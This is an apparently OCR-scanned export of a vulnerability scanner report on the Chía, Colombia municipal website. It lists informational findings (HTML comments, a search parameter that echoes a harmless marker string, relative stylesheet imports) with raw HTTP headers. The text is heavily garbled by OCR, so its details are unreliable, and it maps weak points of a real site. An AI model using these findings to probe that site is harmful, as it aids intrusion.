Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/

INSTANCE

https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi nanarca. gov. co/ web/tramites-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi | e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 03:50:28 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=63>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt erno-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/tramites-y-servicios/
https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:37:32 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
/wp-j son/ wp/ v2/ posts/ 616>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=616>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanarca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a- y- acceso- a- | a-i nf or maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namar ca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: sanme-origin

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 00:38: 08 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
/wp-j son/ wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:21:39 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 22400>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22400>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/directorio/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachnment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ di rectori o/

REQUEST HEADERS
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Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: same-origin

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:46:26 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/17/6-paraderos-fueron-demarcados-para-mejorar-la-experiencia-del-

usuario-del-transporte-publico/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 6- par ader os- f uer on- denar cados- par a- nej or ar - | a- experi enci a- del -
usuari o-del -transporte-publico/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:49:06 GVII
Cont ent - Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked

Connection: keep-alive
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Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 22364>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=22364>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachnment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrome/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 02:45:09 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 49>, rel="alternate"; title="JSON'; type="application/json", <https://chia-cundinamarca.gov.co
/ web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.
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HTTP Info

REQUEST MADE
GET https://chia-cundi nanar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:15:28 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/>; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS
HTTP/ 1.1 200 OK
Server: nginx
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Date: Thu, 19 Dec 2024 07:08:06 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=22424>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-
servicios-publicos/

Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servici os-publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:51:53 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[/ wp-j son/ wp/ v2/ posts/ 19440>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/
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Identification

OUTPUT
2 HTML comments have been detected in the application HTTP response. Please see the attachment for further details.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ com enza- el - censo- a- bar es- y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Platform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ posts/ 20823>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=20823>; rel =shortlink

X- TEC- APl - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip
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Input Reflected

VULNERABILITY BINIgeN PLUGIN ID 114135

Description

Thisis an informational plugin to inform that user data controlled input is reflected in the response.

Solution

See Also

https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2023-12-18T00:00:00+00:00
2023-12-18T00:00:00+00:00
Injection

Info

114135
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Input Reflected Instances (2)

VULNERABILITY BINIgeN PLUGIN ID 114135

INSTANCE

https://chia-cundinamarca.gov.co/web/

INPUT TYPE form
INPUT NAME clear-with-button

Identification

PAYLOAD
was-t nb- xf k

PROOF
Input reflected in the response body : 'was-tnb-xfk'.

OUTPUT
The scanner was able to detect an input reflected in the response body.

HTTP Info

REQUEST MADE
GET /web/ ?s=&cl ear-wi t h- butt on=was-tnb-xfk HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:22:31 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/"
X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/
X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/

INPUT TYPE form
INPUT NAME s

Identification

PAYLOAD
was-t nb- xf k
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PROOF
Input reflected in the response body : 'was-tnb-xfk'.

OUTPUT
The scanner was able to detect an input reflected in the response body.

HTTP Info

REQUEST MADE
GET /web/ ?s=was-t nb- xf k&cl ear - wi t h-butt on=nessus_was_t ext2wtrufcy HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:22:29 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/"
X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi nanar ca. gov. co/ web/ wp-j son/tribe/ events/vl/
X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p
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Path Relative Stylesheet Import

VULNERABILITY BINgeN PLUGIN ID 114466

Description

A Path Relative Style Sheet Import occurs when the application imports a style sheet via a relative URL and uses user input in
the file name. This vulnerability mainly affects older browsers such as Internet Explorer and allows an attacker to exploit the way

the browser handles stylesheet imports in order to perform CSS Injection.

Solution

Itis preferable not to use path-related URLs in stylesheet imports, and also to use the X-Content-Type-Options: nosnif' and 'X-

Frame-Options: deny' headers.

See Also

https://csplite.com/csp290/

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSS VECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2024-10-30T00:00:00+00:00
2024-11-08T00:00:00+00:00
Injection

Info

114466

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/

Page 326 of 348


https://csplite.com/csp290/

Path Relative Stylesheet Import Instances (23)

VULNERABILITY BINgeN PLUGIN ID 114466

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

PROOF

The follow ng value is extracted froma <link> tag that inports a style sheet with a 'href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt erno-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:37:32 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[/ wp-j son/ wp/ v2/ posts/ 616>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=616>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanarca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/directorio/

Identification

PROOF
The followi ng value is extracted froma <link> tag that inports a style sheet with a "href' that does not begin with a
/A

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/
https://chia-cundinamarca.gov.co/web/directorio/

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ di rectori o/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: same-origin

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 00:46:26 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/17/6-paraderos-fueron-demarcados-para-mejorar-la-experiencia-del-

usuario-del-transporte-publico/

Identification

PROOF

The following value is extracted froma <link> tag that inports a style sheet with a 'href' that does not begin with a
!

* https://chia-cundi namar ca. gov. co/ web/ wp- cont ent/ pl ugi ns/ header - f oot er - el enent or/i nc/ wi dget s-css/ frontend. css?ver=1.
6. 45

OUTPUT
The scanner was able to detect a Path Relative Styl esheet |nport.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 6- par ader os- f uer on- demar cados- par a- nmej or ar - | a- experi enci a- del -
usuari o-del -transporte-publico/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/17/6-paraderos-fueron-demarcados-para-mejorar-la-experiencia-del-usuario-del-transporte-publico/
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REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

